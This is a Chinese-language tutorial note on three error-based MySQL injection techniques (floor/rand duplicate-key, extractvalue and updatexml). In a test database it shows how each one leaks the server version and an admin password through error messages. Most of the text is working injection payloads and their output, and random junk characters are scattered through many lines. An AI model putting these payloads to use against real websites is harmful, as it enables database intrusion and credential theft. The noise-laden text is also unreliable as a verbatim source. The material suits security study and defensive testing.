关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
$ x9 `. _2 G* w5 {+ N实际测试环境：
​
5 L3 `$ b# @& w
/ {% r' b% l; n+ {& M* g, G' w6 rmysql> show tables;
: `" d/ V0 l& E  o4 ^! e/ [4 j+----------------+
/ P+ ]. M, B( C1 p1 Z" N& K: E| Tables_in_test |
: |0 ^* I7 c( s7 v( Z! ]+----------------+
/ @7 _$ E) c- c3 ]: }| admin          |
- o- p0 T0 M+ a6 N& ?# D| article        |
( q+ j. b6 B: K& R+----------------+

- D. J% J( N! }  m9 n2 U6 |8 [% i7 x  F. N
( s! t( [* n. e4 n* }4 T- F
* j4 k* x5 S8 o2 \- j! M( Y/ amysql> describe admin;
% D# ]4 `' h" B: w+-------+------------------+------+-----+---------+----------------+
2 f9 a- {' x' g% f( t! r, S| Field | Type             | Null | Key | Default | Extra          |
8 n" t% j# F0 L- g: ^& q7 U/ A& v+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
! e/ W# }3 a  W  q; K/ c| user  | varchar(50)      | NO   |     | NULL    |                |
( H" R1 B2 h  K! G- B& ?" K| pass  | varchar(50)      | NO   |     | NULL    |                |
& Z* f& r' Q" j7 A6 M1 P  `+-------+------------------+------+-----+---------+----------------+

. J' C4 V/ n7 O$ q+ x

* U# b" z( Y. r- Qmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
+ S" y. f6 n. D) {4 v5 t7 w6 b| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
' ^7 J& ^- G6 m3 z7 x| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码

* x3 @0 K3 z. v
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
! B  b  H) `7 f6 u- }
7 N& U: Z# P% W+ N0 X- w
/ ~/ G- k2 J4 S: g9 Z8 pand (select count(*) from (select 1 union select null union select !1)x
, P% ~; r: M1 `2 P. u: M) ^$ Mgroup by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
. c! w8 {0 ?; F举例如下：
" U1 F- n* g; A' u, P; w首先进行正常查询：

* S& b9 J; x) Y1 T; v6 a: qmysql> select * from article where id = 1;
+----+-------+---------+
3 |" o" W% `9 C; ^6 L| id | title | content |
0 T% W& K/ U2 g* s; T  A8 d  |: {& i& D+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
8 D; Z2 C" e( C( m* b' t

mysql> select * from article where id = 1 and (select 1 from
4 e0 u( W7 i" h! z/ F+ {7 w1 ]8 J(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
# d8 r+ @2 W8 sMethod1:


# G. a% |: E6 P) Umysql> select * from article where id = 1 and (select 1 from
8 W  J8 P* V% j2 D5 G) m' `. K(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
. w9 \* w2 v  \8 KERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

% D/ z5 w3 l9 v% G- d8 u
: G3 M) {3 h9 k$ Qmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
5 K& @$ ?3 }# s6 S! ufloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
9 M9 l* v! e+ F测试语句如下
+ U5 G+ J$ _* X; ?

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
; J+ o4 `. j& I; e  M实际测试过程
' J7 e& h$ o5 s# j: {

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
4 Z4 R" I' x! b0 z3、UpdateXml
测试语句
0 A- M7 a; h4 x* D* h% u' J% R% j

6 z1 J! s  U2 R- fand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
" Y6 w) ~( J2 o/ G5 W- d$ t# x$ l实际测试过程
4 `9 c  I( s0 ~# G
- I4 W( B3 L( E. _
2 t6 Q. s) k9 T5 Amysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
8 z3 u# j' {) e(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

8 ]- R) z  q; o- c; t8 \​